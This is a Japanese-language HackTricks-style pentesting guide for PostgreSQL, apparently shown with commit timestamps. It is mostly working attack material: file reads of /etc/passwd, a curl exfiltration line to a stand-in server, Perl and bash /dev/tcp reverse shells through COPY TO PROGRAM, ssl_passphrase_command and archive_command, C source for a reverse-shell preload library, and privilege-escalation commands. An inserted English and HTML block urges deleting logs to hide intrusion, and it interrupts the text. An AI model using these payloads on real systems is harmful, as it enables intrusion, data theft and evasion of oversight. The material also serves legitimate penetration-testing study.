hacktricks/network-services-pentesting/pentesting-postgresql.md

776 lines
43 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# 5432,5433 - PostgreSQLのペンテスト
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## **基本情報**
2022-04-28 16:01:33 +00:00
**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張します。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
**デフォルトポート:** 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート5433かもしれませんがPostgreSQLによって使用されます。
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## 接続と基本的な列挙
```bash
psql -U <myuser> # Open psql console with user
2021-08-28 16:44:35 +00:00
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```
```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
2022-10-07 12:55:24 +00:00
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
2022-10-07 15:38:50 +00:00
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
2022-11-03 13:30:00 +00:00
# Get languages
SELECT lanname,lanacl FROM pg_language;
2022-10-08 16:35:25 +00:00
2022-11-03 18:57:14 +00:00
# Show installed extensions
2022-11-03 13:30:00 +00:00
SHOW rds.extensions;
SELECT * FROM pg_extension;
2022-11-08 23:13:00 +00:00
# Get history of commands executed
\s
2022-10-07 12:55:24 +00:00
```
{% hint style="warning" %}
**`\list`**を実行して**`rdsadmin`**というデータベースが見つかった場合、**AWSのPostgreSQLデータベース**内にいることがわかります。
{% endhint %}
**PostgreSQLデータベースを悪用する方法**の詳細については、以下をチェックしてください:
2022-10-07 12:55:24 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## 自動列挙
2022-10-07 12:55:24 +00:00
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
2022-10-07 12:55:24 +00:00
2023-07-07 23:42:27 +00:00
### **ポートスキャン**
2022-11-08 23:13:00 +00:00
[**この研究**](https://www.exploit-db.com/papers/13084)によると、接続試行が失敗すると、`dblink``sqlclient_unable_to_establish_sqlconnection`例外をスローし、エラーの説明が含まれます。これらの詳細の例は以下にリストされています。
2022-11-08 23:13:00 +00:00
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
2023-07-07 23:42:27 +00:00
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
2022-11-08 23:13:00 +00:00
```
2023-07-07 23:42:27 +00:00
* ホストがダウンしています
2022-11-08 23:13:00 +00:00
`詳細: サーバーに接続できませんでした: ホストへのルートがありません ホスト「1.2.3.4」でTCP/IP接続を受け入れるサーバーが実行されていますか`
2022-11-08 23:13:00 +00:00
2023-07-07 23:42:27 +00:00
* ポートが閉じています
2022-11-08 23:13:00 +00:00
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
2023-07-07 23:42:27 +00:00
* ポートが開いています
2022-11-08 23:13:00 +00:00
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
```md
## PostgreSQL
### Enumeration
To discover PostgreSQL services running on the target system, you can use tools like Nmap or Metasploit. Nmap can be used to scan for open ports, including the default PostgreSQL port 5432. Metasploit modules like `postgresql_login` can be utilized for brute-forcing PostgreSQL credentials.
### Exploitation
Once you have valid credentials, you can connect to the PostgreSQL database using tools like `psql` or pgAdmin. From there, you can extract sensitive information, escalate privileges, or even drop a malicious payload.
### Post-Exploitation
After gaining access to the database, you can perform various post-exploitation activities such as creating new accounts, modifying existing data, or deleting critical information. It is crucial to cover your tracks by deleting logs and any evidence of unauthorized access.
```
```html
<h2>PostgreSQL</h2>
<h3>Enumeration</h3>
<p>To discover PostgreSQL services running on the target system, you can use tools like Nmap or Metasploit. Nmap can be used to scan for open ports, including the default PostgreSQL port 5432. Metasploit modules like <code>postgresql_login</code> can be utilized for brute-forcing PostgreSQL credentials.</p>
<h3>Exploitation</h3>
<p>Once you have valid credentials, you can connect to the PostgreSQL database using tools like <code>psql</code> or pgAdmin. From there, you can extract sensitive information, escalate privileges, or even drop a malicious payload.</p>
<h3>Post-Exploitation</h3>
<p>After gaining access to the database, you can perform various post-exploitation activities such as creating new accounts, modifying existing data, or deleting critical information. It is crucial to cover your tracks by deleting logs and any evidence of unauthorized access.</p>
```
2022-11-08 23:13:00 +00:00
```
DETAIL: FATAL: password authentication failed for user "name"
```
* ポートが開いているかフィルタリングされています
2022-11-08 23:13:00 +00:00
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
2023-07-07 23:42:27 +00:00
## 特権の列挙
2022-11-08 23:13:00 +00:00
2023-07-07 23:42:27 +00:00
### ロール
2022-10-07 12:55:24 +00:00
2023-07-07 23:42:27 +00:00
| ロールの種類 | |
2022-10-07 12:55:24 +00:00
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | ロールにはスーパーユーザー権限があります |
| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
| rolcreaterole | ロールは他のロールを作成できます |
| rolcreatedb | ロールはデータベースを作成できます |
| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
| rolconnlimit | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。 |
| rolpassword | パスワードではなく(常に `********` として表示されます) |
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
| rolconfig | 実行時構成変数のロール固有のデフォルト |
| oid | ロールの ID |
2023-07-07 23:42:27 +00:00
#### 興味深いグループ
- **`pg_execute_server_program`** のメンバーであれば、プログラムを**実行**できます
- **`pg_read_server_files`** のメンバーであれば、ファイルを**読み取る**ことができます
- **`pg_write_server_files`** のメンバーであれば、ファイルを**書き込む**ことができます
2022-10-07 12:55:24 +00:00
{% hint style="info" %}
Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じ**です。それは単に、**どのように使用するか**と**ログインを許可するか**に依存します。
2022-10-07 12:55:24 +00:00
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
2023-07-07 23:42:27 +00:00
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
2022-10-07 12:55:24 +00:00
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
2022-10-08 16:35:25 +00:00
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
2023-07-07 23:42:27 +00:00
## You will probably get this error:
2022-10-07 12:55:24 +00:00
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
2023-07-07 23:42:27 +00:00
### テーブル
2022-10-07 12:55:24 +00:00
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
2022-08-31 22:35:39 +00:00
2022-10-07 12:55:24 +00:00
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
2022-10-07 14:00:19 +00:00
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
2022-10-07 12:55:24 +00:00
```
2023-07-07 23:42:27 +00:00
### 関数
2022-10-07 14:00:19 +00:00
```sql
2022-10-07 15:38:50 +00:00
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
2022-10-07 14:00:19 +00:00
\df+ pg_read_binary_file #Check who has access
2022-10-07 15:38:50 +00:00
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
2023-07-07 23:42:27 +00:00
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
2022-10-07 15:38:50 +00:00
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
2022-11-08 21:47:24 +00:00
# Another aparent option
SELECT * FROM pg_proc;
```
## ファイルシステムのアクション
2022-11-08 21:47:24 +00:00
2023-07-07 23:42:27 +00:00
### ディレクトリとファイルの読み取り
2022-12-20 18:10:20 +00:00
この[**コミット**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーと**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用できます(`genfile.c``convert_and_check_filename`をチェックしてください)。
2022-12-20 18:10:20 +00:00
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
スーパーユーザーではない場合でも、**CREATEROLE** 権限を持っていれば、**そのグループのメンバーに自分自身を追加できます:**
2022-12-20 18:10:20 +00:00
```sql
GRANT pg_read_server_files TO username;
```
2023-07-07 23:42:27 +00:00
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
2022-12-20 18:10:20 +00:00
{% endhint %}
**他のPostgres関数**を使用して**ファイルを読み取るかディレクトリをリストする**ことができます。これらを使用できるのは**スーパーユーザー**と**明示的な権限を持つユーザー**だけです:
2022-12-20 18:10:20 +00:00
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
2022-12-20 18:10:20 +00:00
### シンプルなファイル書き込み
copyを使用してファイルを書き込むには、**スーパーユーザ**と**`pg_write_server_files`**のメンバーのみが使用できます。
2022-12-20 18:10:20 +00:00
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
2022-12-20 18:10:20 +00:00
{% hint style="warning" %}
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**そのグループのメンバーになることができます:**
2022-12-20 18:10:20 +00:00
```sql
GRANT pg_write_server_files TO username;
```
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
2022-12-20 18:10:20 +00:00
{% endhint %}
COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、**ワンライナーを送信する必要があります**。\
このテクニックの非常に重要な制限事項は、**`copy`はバイナリファイルを書き込むために使用できない**ということです。
2022-12-20 18:10:20 +00:00
2023-07-07 23:42:27 +00:00
### **バイナリファイルのアップロード**
2022-12-20 18:10:20 +00:00
ただし、**大きなバイナリファイルをアップロードするための他のテクニック**があります:
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で参加し、最大**$100,000**のバウンティを獲得しましょう!
2022-12-20 18:10:20 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
### ローカルファイル書き込みを介したPostgreSQLテーブルデータの更新
PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、[PostgreSQLデータディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の関連ファイルノードを上書きすることで、サーバー上の任意のテーブルを更新できます。
このテクニックについては、[こちら](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)を参照してください。
必要な手順:
1. PostgreSQLデータディレクトリを取得する
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**注意:** 設定から現在のデータディレクトリパスを取得できない場合は、`SELECT version()`クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`です。一般的なクラスタ名は`main`です。
2. ターゲットテーブルに関連するファイルノードへの相対パスを取得する
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
このクエリは`base/3/1337`のようなものを返すはずです。ディスク上の完全なパスは`$DATA_DIRECTORY/base/3/1337`、つまり`/var/lib/postgresql/13/main/base/3/1337`になります。
3. `lo_*`関数を使用してファイルノードをダウンロードする
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. ターゲットテーブルに関連付けられたデータ型を取得する
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、すべての`rol*`ブールフラグを1に設定して、[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)します。
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
7. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きします
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
8. *(オプション)* 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアします
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
9. これで、PostgreSQLで更新されたテーブル値が表示されるはずです。
`pg_authid`テーブルを編集することで、スーパーアドミンにもなれます。**[次のセクション](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**を参照してください。
2022-12-20 18:10:20 +00:00
## RCE
2023-07-07 23:42:27 +00:00
### **プログラムへのRCE**
2022-12-20 18:10:20 +00:00
[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、**スーパーユーザー**および**`pg_execute_server_program`**グループのメンバーだけが、RCEのためにcopyを使用できますデータの外部へのエクスフィルト例:
2022-12-20 18:10:20 +00:00
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
実行例:
2022-12-20 18:10:20 +00:00
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**そのグループのメンバーになることができます:**
2022-12-20 18:10:20 +00:00
```sql
GRANT pg_execute_server_program TO username;
```
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
2022-12-20 18:10:20 +00:00
{% endhint %}
または**metasploit**から`multi/postgres/postgres_copy_from_program_cmd_exec`モジュールを使用します。\
この脆弱性に関する詳細は[**こちら**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)で確認できます。CVE-2019-9193として報告されましたが、Postgesはこれを[機能として修正しないことを宣言しました](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)。
2022-12-20 18:10:20 +00:00
2023-07-07 23:42:27 +00:00
### PostgreSQL言語を使用したRCE
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### PostgreSQL拡張機能を使用したRCE
2022-12-20 18:10:20 +00:00
前の投稿から**バイナリファイルのアップロード方法**を学んだ後、**PostgreSQL拡張機能をアップロードして読み込む**ことで**RCEを取得**できます。
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### PostgreSQL構成ファイルRCE
{% hint style="info" %}
次のRCEベクターは、すべての手順をネストされたSELECTステートメントを介して実行できるため、制約されたSQLiコンテキストで特に有用です。
{% endhint %}
2022-12-20 18:10:20 +00:00
PostgreSQLの**構成ファイル**は**postgresユーザ**によって**書き込み可能**であり、これはデータベースを実行しているユーザであるため、**スーパーユーザ**としてファイルをファイルシステムに書き込むことができ、したがってこのファイルを**上書き**できます。
2022-12-20 18:10:20 +00:00
![](<../.gitbook/assets/image (303).png>)
#### **ssl\_passphrase\_command**を使用したRCE
このテクニックに関する詳細は[こちら](https://pulsesecurity.co.nz/articles/postgres-sqli)で確認できます。
構成ファイルにはRCEにつながる興味深い属性がいくつかあります
2022-12-20 18:10:20 +00:00
- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` データベースの秘密鍵へのパス
- `ssl_passphrase_command = ''` もし秘密ファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
- `ssl_passphrase_command_supports_reload = off` もしこの属性が`on`である場合、鍵がパスワードで保護されている場合に実行されるコマンドは、`pg_reload_conf()`が実行されたときに実行されます。
2022-12-20 18:10:20 +00:00
したがって、攻撃者は次の手順を踏む必要があります:
2022-12-20 18:10:20 +00:00
1. サーバーから**秘密鍵をダンプ**
2. ダウンロードした秘密鍵を**暗号化**
- `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **上書き**
4. 現在のPostgreSQLの**構成**を**ダンプ**
5. 上記の属性構成で**構成を上書き**する:
2023-07-07 23:42:27 +00:00
- `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
- `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`を実行
2022-12-20 18:10:20 +00:00
これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**し、**グループssl-certまたはpostgres**postgresユーザが読み取りできるようにである必要があり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気付きました。
2022-12-20 18:10:20 +00:00
#### **archive\_command**を使用したRCE
この構成とWALに関する詳細は[こちら](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)で確認できます。
構成ファイルの別の属性である`archive_command`は悪用可能です。
これを機能させるには、`archive_mode`設定が`'on'`または`'always'`である必要があります。その場合、`archive_command`のコマンドを上書きしてWALWrite-Ahead Logging操作を介して実行することができます。
一般的な手順は次のとおりです:
1. アーカイブモードが有効かどうかを確認:`SELECT current_setting('archive_mode')`
2. ペイロードで`archive_command`を上書きします。たとえば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. 構成を再読み込み:`SELECT pg_reload_conf()`
4. WAL操作を実行し、アーカイブコマンドを呼び出します`SELECT pg_switch_wal()`または一部のPostgresバージョンでは`SELECT pg_switch_xlog()`
#### **preloadライブラリを使用したRCE**
このテクニックに関する詳細は[こちら](https://adeadfed.com/posts/postgresql-select-only-rce/)で確認できます。
この攻撃ベクトルは次の構成変数を利用します:
- `session_preload_libraries` -- PostgreSQLサーバがクライアント接続時に読み込むライブラリ。
- `dynamic_library_path` -- PostgreSQLサーバがライブラリを検索するディレクトリのリスト。
`dynamic_library_path`の値を、データベースを実行している`postgres`ユーザが書き込み可能なディレクトリ(たとえば`/tmp/`ディレクトリ)に設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、`session_preload_libraries`変数にそれを含めて、PostgreSQLサーバに新しくアップロードしたライブラリを読み込むようにします。
攻撃手順は次のとおりです:
1. 元の`postgresql.conf`をダウンロード
2. `dynamic_library_path`値に`/tmp/`ディレクトリを含める、例:`dynamic_library_path = '/tmp:$libdir'`
3. `session_preload_libraries`値に悪意のあるライブラリ名を含める、例:`session_preload_libraries = 'payload.so'`
4. `SELECT version()`クエリを使用して主要なPostgreSQLバージョンを確認
5. 正しいPostgreSQL devパッケージで悪意のあるライブラリコードをコンパイル
サンプルコード:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
コードのコンパイル:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードし、元のファイルを上書き
7. ステップ5で作成した`payload.so``/tmp`ディレクトリにアップロード
8. サーバー構成を再読み込みしてサーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出す
9. 次回のDB接続時にリバースシェル接続を受け取ります。
## **Postgresの権限昇格**
### CREATEROLE権限昇格
#### **権限付与**
[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると_**`CREATEROLE`**権限を持つロールは、**スーパーユーザーでない**任意のロールの**メンバーシップを付与または取り消す**ことができます。_
2022-10-07 12:55:24 +00:00
したがって、**`CREATEROLE`**権限があれば、他の**ロール**(スーパーユーザーでない)へのアクセス権を付与して、ファイルの読み書きやコマンドの実行が可能になります。
2022-10-07 12:55:24 +00:00
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
2023-07-07 23:42:27 +00:00
#### パスワードの変更
2022-10-07 12:55:24 +00:00
このロールを持つユーザーは、他の**非スーパーユーザー**の**パスワード**も**変更**できます。
2022-10-07 12:55:24 +00:00
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### SUPERUSERへの昇格
2022-10-07 12:55:24 +00:00
**ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできる**ことが一般的です。したがって、**コードを実行する権限**を取得したら、これらの権限を悪用して**`SUPERUSER`**ロールを取得できます。
2022-10-07 12:55:24 +00:00
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
通常、これは**`pg_hba.conf`**ファイル内の次の行によって可能になります:
2022-10-07 12:55:24 +00:00
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE権限昇格**
2022-10-08 16:35:25 +00:00
[**この解説**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで**権限昇格**が可能だった方法が説明されています。
2022-10-08 16:35:25 +00:00
通常、**別のユーザーをテーブルの所有者にする**という操作はエラーが発生して阻止されるはずですが、GCPでは**スーパーユーザーでないpostgresユーザー**にそのオプションが与えられていたようです:
2022-10-08 16:35:25 +00:00
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
この考え方を利用して、**INSERT/UPDATE/ANALYZE**コマンドが**インデックス関数を持つテーブル**で実行されると、**関数**が**コマンドの一部として呼び出され**、**テーブル所有者の権限**で実行されるという事実を組み合わせると、悪意のある関数を使用してコマンドを実行できるようになります。
2022-10-08 16:35:25 +00:00
```c
2023-07-07 23:42:27 +00:00
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
2022-10-08 16:35:25 +00:00
```
#### 悪用
2022-10-08 16:35:25 +00:00
2023-07-07 23:42:27 +00:00
1. 新しいテーブルを作成します。
2. テーブルに無関係なコンテンツを挿入して、インデックス機能にデータを提供します。
3. コード実行ペイロードを含む悪意のあるインデックス機能を開発し、未承認のコマンドを実行できるようにします。
